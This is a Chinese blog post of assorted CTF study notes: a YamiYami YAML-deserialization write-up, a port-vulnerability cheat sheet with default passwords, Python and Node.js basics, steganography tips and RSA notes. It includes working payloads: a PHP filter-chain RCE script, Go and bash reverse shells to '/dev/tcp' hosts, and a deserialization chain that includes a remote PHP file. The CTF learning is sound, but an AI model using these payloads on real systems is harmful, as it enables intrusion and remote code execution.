零碎总结

yhchen-blogs / 2023-05-11 / 原文

复现

[HDCTF 2023]YamiYami:

file协议读取 发现app被过滤 两次url编码绕过

(41条消息) 双URL编码绕过WAF_红云谈安全的博客-CSDN博客

获取计算机硬件地址目录:/sys/class/net/eth0/address

Yaml与json转换在线YAML转JSON (lddgo.net)

Yaml基本内容:

YAML 入门教程 | 菜鸟教程 (runoob.com)

强制类型转换

yaml是可以进行强制转换的,用 !! 实现,如下

str: !!str 3.14
int: !!int "123"

输出结果:

{'int': 123, 'str': '3.14'}

分段规则使用

在同一个yaml文件中,可以用 — 来分段,这样可以将多个文档写在一个文件中

---
name: James
age: 20
---
name: Lily
age: 19

浅谈PyYAML反序列化漏洞 - 先知社区 (aliyun.com)

Yaml反序列化:

版本小于5.1的:

当 存在yaml.load()且参数可控

本地测试时文件名不要定义为yaml会起冲突

(41条消息) TypeError: load() missing 1 required positional argument: ‘Loader‘_typeerror: eval() missing 1 required positional ar_one_wangtester的博客-CSDN博客

YAML 5.1版本后弃用了yaml.load(file)这个用法,因为觉得很不安全,5.1版本之后就修改了需要指定Loader,通过默认加载器(FullLoader)禁止执行任意函数,该load函数也变得更加安全

题目源码:

 
#encoding:utf-8
import os
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml
from urllib.request import urlopen
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = False
BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"]
app.config['UPLOAD_FOLDER']="/app/uploads"
 
@app.route('/')
def index():
    session['passport'] = 'YamiYami'
    return '''
    Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a>
    <br>
    Here is the challenge <a href="/upload">Upload file</a>
    <br>
    Enjoy it <a href="/pwd">pwd</a>
    '''
@app.route('/pwd')
def pwd():
    return str(pwdpath)
@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        m = re.findall('app.*', url, re.IGNORECASE)
        n = re.findall('flag', url, re.IGNORECASE)
        if m:
            return "re.findall('app.*', url, re.IGNORECASE)"
        if n:
            return "re.findall('flag', url, re.IGNORECASE)"
        res = urlopen(url)
        return res.read()
    except Exception as ex:
        print(str(ex))
    return 'no response'
 
def allowed_file(filename):
   for blackstr in BLACK_LIST:
       if blackstr in filename:
           return False
   return True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        if 'file' not in request.files:
            flash('No file part')
            return redirect(request.url)
        file = request.files['file']
        if file.filename == '':
            return "Empty file"
        if file and allowed_file(file.filename):
            filename = secure_filename(file.filename)
            if not os.path.exists('./uploads/'):
                os.makedirs('./uploads/')
            file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
            return "upload successfully!"
    return render_template("index.html")
@app.route('/boogipop')
def load():
    if session.get("passport")=="Welcome To HDCTF2023":
        LoadedFile=request.args.get("file")
        if not os.path.exists(LoadedFile):
            return "file not exists"
        with open(LoadedFile) as f:
            yaml.full_load(f)
            f.close()
        return "van you see"
    else:
        return "No Auth bro"
if __name__=='__main__':
    pwdpath = os.popen("pwd").read()
    app.run(
        debug=False,
        host="0.0.0.0"
    )
    print(app.config['SECRET_KEY'])

[(41条消息) HDCTF 2023]web YamiYami yaml反序列化+session伪造_GXcodes的博客-CSDN博客

里边是用uuid.getnode()函数作为种子的

  1. 在 python 中使用 uuid 模块生成 UUID(通用唯一识别码)。可以使用 uuid.getnode() 方法来获取计算机的硬件地址,这个地址将作为 UUID 的一部分。

  2. 那么/sys/class/net/eth0/address,这个就是网卡的位置,读取他进行伪造即可。

    测试:

    import uuid
    
    # Get the hardware address as a 48-bit positive integer
    print("MAC address integer format", uuid.getnode())
    print("MAC address Hex format", hex(uuid.getnode()))
    
    

    只不过零省略了

phar反序列化:浅析Phar反序列化 - FreeBuf网络安全行业门户

python

 __import__('os').popen('dir').read()   python环境命令利用
 find flag.txt -exec cat flag.txt \;  

linux

echo *  读取目录文件

常见端口漏洞

常见的默认端口
1、web类(web漏洞/敏感目录)
第三方通用组件漏洞: struts thinkphp jboss ganglia zabbix ...

80 web 
80-89 web 
8000-9090 web 
2、数据库类(扫描弱口令)
1433 MSSQL 
1521 Oracle 
3306 MySQL 
5432 PostgreSQL 
50000 DB2
3、特殊服务类(未授权/命令执行类/漏洞)
443 SSL心脏滴血 
445 ms08067/ms11058/ms17010等 
873 Rsync未授权 
5984 CouchDB http://xxx:5984/_utils/ 
6379 redis未授权 
7001,7002 WebLogic默认弱口令,反序列 
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞 
11211 memcache未授权访问 
27017,27018 Mongodb未授权访问 
50000 SAP命令执行 
50070,50030 hadoop默认端口未授权访问 
4、常用端口类(扫描弱口令/端口爆破)
21 ftp 
22 SSH 
23 Telnet 
445 SMB弱口令扫描 
2601,2604 zebra路由,默认密码zebra 
3389 远程桌面 
5、端口合计所对应的服务
21 ftp 
22 SSH 
23 Telnet 
25 SMTP 
53 DNS 
69 TFTP 
80 web 
80-89 web 
110 POP3 
135 RPC 
139 NETBIOS 
143 IMAP 
161 SNMP 
389 LDAP 
443 SSL心脏滴血以及一些web漏洞测试 
445 SMB 
512,513,514 Rexec 
873 Rsync未授权 
1025,111 NFS 
1080 socks 
1158 ORACLE EMCTL2601,2604 zebra路由,默认密码zebra案 
1433 MSSQL (暴力破解) 
1521 Oracle:(iSqlPlus Port:5560,7778) 
2082/2083 cpanel主机管理系统登陆 (国外用较多) 
2222 DA虚拟主机管理系统登陆 (国外用较多) 
2601,2604 zebra路由,默认密码zebra 
3128 squid代理默认端口,如果没设置口令很可能就直接漫游内网了 
3306 MySQL (暴力破解) 
3312/3311 kangle主机管理系统登陆 
3389 远程桌面 
3690 svn 
4440 rundeck 参考WooYun: 借用新浪某服务成功漫游新浪内网 
4848 GlassFish web中间件 弱口令:admin/adminadmin 
5432 PostgreSQL 
5900 vnc 
5984 CouchDB http://xxx:5984/_utils/ 
6082 varnish 参考WooYun: Varnish HTTP accelerator CLI 未授权访问易导致网站被直接篡改或者作为代理进入内网 
6379 redis未授权 
7001,7002 WebLogic默认弱口令,反序列 
7778 Kloxo主机控制面板登录 
8000-9090 都是一些常见的web端口,有些运维喜欢把管理后台开在这些非80的端口上 
8080 tomcat/WDCd/ 主机管理系统,默认弱口令 
8080,8089,9090 JBOSS 
8081 Symantec AV/Filter for MSE 
8083 Vestacp主机管理系统 (国外用较多) 
8649 ganglia 
8888 amh/LuManager 主机管理系统默认端口 
9000 fcgi fcig php执行 
9043 websphere[web中间件] 弱口令: admin/admin websphere/ websphere ststem/manager 
9200,9300 elasticsearch 参考WooYun: 多玩某服务器ElasticSearch命令执行漏洞 
10000 Virtualmin/Webmin 服务器虚拟主机管理系统 
11211 memcache未授权访问 
27017,27018 Mongodb未授权访问 
28017 mongodb统计页面 
50000 SAP命令执行 
50060 hadoop 
50070,50030 hadoop默认端口未授权访问

python

变量m

m.title() 首字母大写

m.upper()全部大写

m.lower()全部小写

m.rstriip()清除末尾多余的空白

m.lstriip()清除开头多余的空白

m.striip()清除首位多余的空白

两个乘号表示平方 ** 2**3 == 8

str函数 将数字转化为字符串 str(23) == "23"

a = ['1','2']

a.append('3') == ['1','2','3']

a.insert(0,'0') == ['0',1','2','3']

del a[0] == ['1','2','3']

a.pop()

a == ['1','2']

输出 3

a.pop(0)

a == ['2']

输出 1

a.remove('2')

a为空

a = ['2','1']

a.sort()

a == ['1','2']

a.sort(reverse = True)

a == ['2','1']

sorted(a) 临时排序

a.reverse() 反转列表顺序

len(a) 输出长度

range(1,5) 数字1到4

list list(range(1,5))转化列表

range(1,5,2) 指定步长2

min(a) 找最小值

max(a) 找最大值

sum(a) 求和

print([v**2 for v in range(1,11)]) #列表解析

a[0:2] #列表切片

元组 a = (1,2) 元组不能被修改,但是可以修改元组变量

if 比较时有 == != > < <= >= in(列表检查) 用 and 或 or 连接多个条件

if - elif if - else if - elif - else

if a:

​ 判断列表a是否为空

a = {'1':'1','2':'2'}

del a['1'] a == {'2':'2'}

遍历列表 items()方法

a = {'1':'1','2':'2'}
for k,v in a.items():
print(k)
print(v)

for k in a.keys():
print(k)

for k in a.values():
print(k)

for k in set(a.keys()):
print(k)

输出独一无二的值

input("请输入") #从用户端进行输入

while 与 if 类似

def a():
print("a")
a()

'''文本'''.replace("\n","\r\n") #将文本中的 \n 换成 \r\n

from urllib import parse

parse.quote(变量) #url编码

parse.urlencode(字典) #url编码

parse.unquote(text) #url解码

ord(变量) #unicode编码

0x0100 是 256

u"" #表示unicode字符串 出现中文等,防止乱码

pip3 install you-get

可以用you-get下载b站等上边的视频

you-get -i URL 查看可以下载的文件

下载

you-get --itag=137 https://www.youtube.com/watch?v=o_nxIQTM_B0

python实现文件上传的脚本:

import base64
import requests

url = 'http://60065450-e5dc-4c9c-aa48-ece8a8aed34f.challenge.ctf.show/upload.php'

shell = '473xeG4d3kJANayE56+fzrJLaDo2vtMx'
files = {'file': ("shell.png", base64.b64decode(shell))}

response = requests.post(url, files=files)
print(response.text)

md5截断爆破脚本:

<?php
$a=0;
while(1)
{
    if(substr(md5($a),-6,6)==='8b184b')
    {
        echo $a;
        break;
    }
    $a++;
}
?>

渗透测试

信息收集

nslookup + 域名 得ip

dig + 域名

whois

shodan

网站信息

.phps
www.zip
/.git/
/.svn/
.php.swp
/db/db.mdb    数据库文件

JS上的信息搜集及漏洞搜索

js自动搜索工具:
https://github.com/Threezh1/JSFinder

python JSFinder.py -u http://www.mi.com -d -ou url.txt -os subdomain.txt

js F12中源代码断点调试

ctrl + f 在源代码中可以使用搜索功能 更快的查找所需内容

vscode调用终端的快捷键 ctrl + esc键下边那个

python绕过前端js加密密码:

1.py:
import execjs
with open("1.js",'r') as f:
    a = execjs.compile(f.read())
result1 = a.call('chen','123')
print(result1)
1.js: // 这里边是看所测试网站前端js加密的内容
function chen(message){
    var a = message;
    a = a+"abcde";
    return a;
}

google的高级搜索:

https://www.google.com.hk/advanced_search?hl=zh-CN

百度的高级搜索:

https://www.baidu.com/gaoji/advanced.html

FUZZ

空白界面 测试参数

文件名的测试

目录的测试

扫描网段存活主机

map -v -sP 202.200.117.0/24

nmap -A 202.200.117.11 查看端口及操作系统

社区

Web安全 - FreeBuf网络安全行业门户(比较优质)

奇安信攻防社区 (butian.net)

吾爱破解 - LCG - LSG|安卓破解|病毒分析|www.52pojie.cn

安全客 - 安全资讯平台 (anquanke.com)

T00ls | 低调求发展 - 潜心习安全 - T00ls.Com

看雪论坛-安全社区|安全招聘|bbs.pediy.com (kanxue.com)(知识库资源很多)

技术文章 - 先知社区 (aliyun.com)(比较冷清)

SQL注入Bypass

order by 可以用 group by 替换  或者 /*!Order*/ by

msf

use auxiliary/scanner/netbios/nbname
show options
set RHOSTS      ip

nmap

nmap --script=Vuln  ip
nmap -sC -Pn  ip

nikto

nikto -h url

whatweb

whatweb url

skipfish

skipfish -o test url

xdg-open

xdg-open 图片名

node.js

输出:

console.log("hello world")

编译:

node 文件名.js

required模块载入node.js模块

创建http服务:

node 1.js

var http = require('http');

http.createServer(function (request, response) {

    // 发送 HTTP 头部 
    // HTTP 状态值: 200 : OK
    // 内容类型: text/plain
    response.writeHead(200, {'Content-Type': 'text/plain'});

    // 发送响应数据 "Hello World"
    response.end('Hello World\n');
}).listen(8888);

// 终端打印如下信息
console.log('Server running at http://127.0.0.1:8888/');

node的REPL的命令行

node

> 交互的shell
使用下划线获取上个表达式的运算结果
10+20
30
var sum = _
console.log(sum)
30
读取文件(阻塞代码)
var fs = require("fs");

var data = fs.readFileSync('input.txt');

console.log(data.toString());
console.log("程序执行结束!");
读取文件非阻塞代码
var fs = require("fs");

fs.readFile('input.txt', function (err, data) {
    if (err) return console.error(err);
    console.log(data.toString());
});

console.log("程序执行结束!");
EventEmitter用法
//event.js 文件
var EventEmitter = require('events').EventEmitter; 
var event = new EventEmitter(); 
event.on('some_event', function() { //事件监听器
    console.log('some_event 事件触发'); 
}); 
setTimeout(function() { 
    event.emit('some_event'); 
}, 1000); 

HGEME

xss

<a href="javascript:alert(1)">Click me</a>

点击后,会执行javascript后的代码

套娃密码

密文:base64

5Yeg5Liq5pif5pyf5YmN77yM5oiR5Lus5pS25Yiw5LiA5Liq56We56eY55qE5raI5oGv44CC5L2G5piv6L+Z5Liq5raI5oGv6KKr6YeN6YeN5Yqg5a+G77yM5oiR5Lus5LiN55+l6YGT5a6D55qE55yf5q2j5ZCr5LmJ5piv5LuA5LmI44CC5ZSv5LiA55+l6YGT55qE5L+h5oGv5piv5YWz5LqO5a+G6ZKl55qE77ya4oCc5Y+q5pyJ5YCS552A57+76L+H5Y2B5YWr5bGC55qE56+x56yG5omN6IO95oq16L6+5YyX5qyn56We6K+d55qE57uI54K54oCd44CC

得到:

几个星期前,我们收到一个神秘的消息。但是这个消息被重重加密,我们不知道它的真正含义是什么。唯一知道的信息是关于密钥的:“只有倒着翻过十八层的篱笆才能抵达北欧神话的终点”。

将音频用morse2ascii进行处理,去掉多余的下划线然后reverce后在key为18栅栏密码解码,然后再维格纳(Vigenere)密钥为 vidar 解码

RSA

from Crypto.Util.number import *

flag = open('flag.txt', 'rb').read()

p = getPrime(512)
q = getPrime(512)
n=p*q
e = 65537
m = bytes_to_long(flag)
c = pow(m, e, n)
print(f"c={c}")
print(f"n={n}")

"""
c=110674792674017748243232351185896019660434718342001686906527789876264976328686134101972125493938434992787002915562500475480693297360867681000092725583284616353543422388489208114545007138606543678040798651836027433383282177081034151589935024292017207209056829250152219183518400364871109559825679273502274955582
n=135127138348299757374196447062640858416920350098320099993115949719051354213545596643216739555453946196078110834726375475981791223069451364024181952818056802089567064926510294124594174478123216516600368334763849206942942824711531334239106807454086389211139153023662266125937481669520771879355089997671125020789
"""

有 c n e

n用 factordb.com去分解得到p 和 q

然后直接用脚本

from Crypto.Util.number import *
c=110674792674017748243232351185896019660434718342001686906527789876264976328686134101972125493938434992787002915562500475480693297360867681000092725583284616353543422388489208114545007138606543678040798651836027433383282177081034151589935024292017207209056829250152219183518400364871109559825679273502274955582
n=135127138348299757374196447062640858416920350098320099993115949719051354213545596643216739555453946196078110834726375475981791223069451364024181952818056802089567064926510294124594174478123216516600368334763849206942942824711531334239106807454086389211139153023662266125937481669520771879355089997671125020789
p = 11239134987804993586763559028187245057652550219515201768644770733869088185320740938450178816138394844329723311433549899499795775655921261664087997097294813
q = 12022912661420941592569751731802639375088427463430162252113082619617837010913002515450223656942836378041122163833359097910935638423464006252814266959128953
e = 65537
print(long_to_bytes(pow(c, inverse(e, (p-1)*(q-1)), n)))

010 Editor修改图片高度

https://blog.csdn.net/hclimg/article/details/110280589

binwalk

查看图片文件然后foremost分离

binwalk -e 文件名

分离文件

Mypage

文件包含打出的RCE的EXP:

import requests

url = "http://43.143.7.127:28292/index.php?file="
file_to_use = "/etc/passwd"
command = "cat flag.php"

#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}


# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

r = requests.get(url, params={
    "0": command,
    "action": "include",
    "file": final_payload
})

print(r.text)

这个payload也可以读出源文件,因为include_once所以只能从进程中读取,多级连接绕过include_once

https://www.anquanke.com/post/id/213235#h3-7

php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/index.php

php中base64的奇怪用处

<?php
$a = "\x1bY\xffQ\xfa";              //YQ 为 a 的 base64 编码
var_dump(base64_decode($a));
输出:string(1) "a"

MyDoor

include包含的 直接php://filter/read=convert.base64-encode/resource=index.php就可以

发现eval口,但是传参名为N_S.S

这里因为php的特性,需要用N[S.S 来接收

Upload_gogoggo

上传的文件文件名会被拼到命令的一部分

go run run.go会编译run.go文件

反弹shell的go脚本

package main

import (
	"fmt"
	"log"
	"os/exec"
)

func main() {
	cmd := exec.Command("/bin/bash", "-c", "bash -i &> /dev/tcp/vps/ip 0>&1")
	out, err := cmd.CombinedOutput()
	if err != nil {
		fmt.Printf("combined out:\n%s\n", string(out))
		log.Fatalf("cmd.Run() failed with %s\n", err)
	}
	fmt.Printf("combined out:\n%s\n", string(out))
}

执行命令的go脚本

package main

import (
    "os/exec"
)

func main() {
    cmd := exec.Command("ls")
    buf, _ := cmd.Output()          // 错误处理略

    print(string(buf))
}

读文件的脚本

package main
import (
  "bufio"
  "fmt"
  "io"
  "os"
)
 
func lineByLine(file string) error {
 
  var err error
 
  f, err := os.Open(file)
  if err != nil {
    return err
  }
 
  defer f.Close()
 
  r := bufio.NewReader(f)
  for {
    line, err := r.ReadString('\n')
    if err == io.EOF {
      break
    } else if err != nil {
      fmt.Printf("error reading file %s", err)
      break
    }
    fmt.Print(line)
  }
  return nil
}
 
func main() {
    err := lineByLine("/home/galf")
    if err != nil {
      fmt.Println(err)
    }
}

反弹shell命令大全

bash -i >& /dev/tcp/192.168.20.151/8080 0>&1

云服务器反弹shell

注意:在ECS里,安全组里开启需要监听的端口,其余一样

<?php

class KeyPort {

    public function __call($name, $arguments)
    {
        call_user_func_array($this->format[$name],$arguments);

    }
}

class v1nd{

    public $name;
    public $wo;
    public function __toString()
    {
        return $this->name->func($this->wo);
    }

}

class b1nb1n {
    public $bin;
    public function __destruct()
    {
        echo $this->bin;
    }
}
$bln = new b1nb1n();
$ke = new KeyPort();
$vl = new v1nd();
$bln->bin = $vl;
$vl->name = $ke;
$vl->wo = 'include "http://47.96.129.52/1.php"';
$ke->format['func'] = 'assert';
//$ke->
$flag = base64_encode(serialize($bln));
echo $flag;
echo '分界线';
//$flag = unserialize(base64_decode($bln));
//echo $flag;
?>

图片

png图片

开头:89 50 4E 47 0D 0A 1A 0A

结尾:00 00 49 45 4E 44 AE 42 60 82

exiftool工具分析EXIF数据结构

binwalk

分离文件

010

在文件尾隐藏数据

或者关键字搜索(数据隐藏在中间)

BMP格式的文件头里有4位字节叫作偏移量,是用来指定从哪个字节开始为实际图像数据用的。这题就是利用增大这个偏移量的方法,把冗余数据塞在了BMP头和图像数据中间的地方。因为这段数据不会被识别,所以可以说是跳过去了。

foremost

图片分离

winhex

exiftool

查看图片详细信息 也可以修改或添加信息

exiftool -ThumbnailImage -b misc22.jpg > 1.jpg (thumbnail隐写)

UnixTimestamp 时间戳

DECtoHEX 十进制转十六进制

zsteg

zsteg -e extradata:0 misc17.png > 1.txt

提权

dd

dd if=misc14.jpg of=1.jpeg skip=2103 bs=1

数据读写

tweakpng

数据块删除 f7 查看图片

BPG

后面加BPG图片的路径

JPEG (jpg) 文件头:FF D8 FF  文件尾:FF D9

PNG (png),文件头:89504E47

Windows Bitmap (bmp), 文件头:424D 文件尾:

GIF (gif),文件头:47494638

XML (xml),文件头:3C3F786D6C

HTML (html),文件头:68746D6C3E

MS Word/Excel (xls.or.doc),文件头:D0CF11E0

MS Access (mdb),文件头:5374616E64617264204A

Adobe Acrobat (pdf),文件头:255044462D312E

Windows Password (pwl),文件头:E3828596

ZIP Archive (zip),文件头:504B0304

RAR Archive (rar),文件头:52617221

Wave (wav),文件头:57415645

AVI (avi),文件头:41564920

TIFF (tif), 文件头:49492A00 文件尾:

zlib是PNG IDAT块数据可选的压缩格式

用 binwalk -e可以解析

压缩包

fcrackzip暴力破解压缩包密码

公钥密码

RSA

互质

互质(relatively primeì)又叫互素。若N个整数的最大公因数是1,则称这N个整数互质。   例如8,10的最大公因数是2,不是1,因此不是整数互质。   7,10,13的最大公因数是1,因此这是整数互质。

欧拉函数

在数论,对正整数n,欧拉函数是小于n的正整数中与n互质的数的数目.

求欧拉函数的算法:

#include<iostream>
using namespace std;
int phi(int n)
{
	int res = n;
	for (int i = 2; i * i <= n; i++)
		if (n % i == 0)
		{
			res /= i, res *= (i - 1);//5 
			while (n % i == 0) n /= i;
		}
	if (n > 1) res /= n, res *= (n - 1); // 2 
	return res;
}
int main()
{
	int flag;
	flag = phi(1);
	cout << flag << endl;
	/*int x = 5;
	x = 2.7, sqrt(2 * x);
	cout << x;*/
	return 0;
}

RSA过程:

p q 极大的两个质数

n p*q

f(n) (p-1)*(q-1)

e 1<e<f(n) gcd(e,n) = 1

d 1<d<f(n) gcd(d,n) = 1

gcd(ed,f(n)) = 1

线性映射

凯撒(caesar cipher)

维吉尼亚(vigenere cipher)

凯撒的升级版

固定替换

培根(bacon's cipher)

猪圈(pigpen cipher)

密码图上的特殊符号

移位密码

栅栏

曲路

更多:CTF中那些脑洞大开的编码和加密

分组密码()

ECB(Electronic Code Book 电子密码本)

CBC(Cipher Block Chaining 密码分组链接)

OFB

CFB

CTR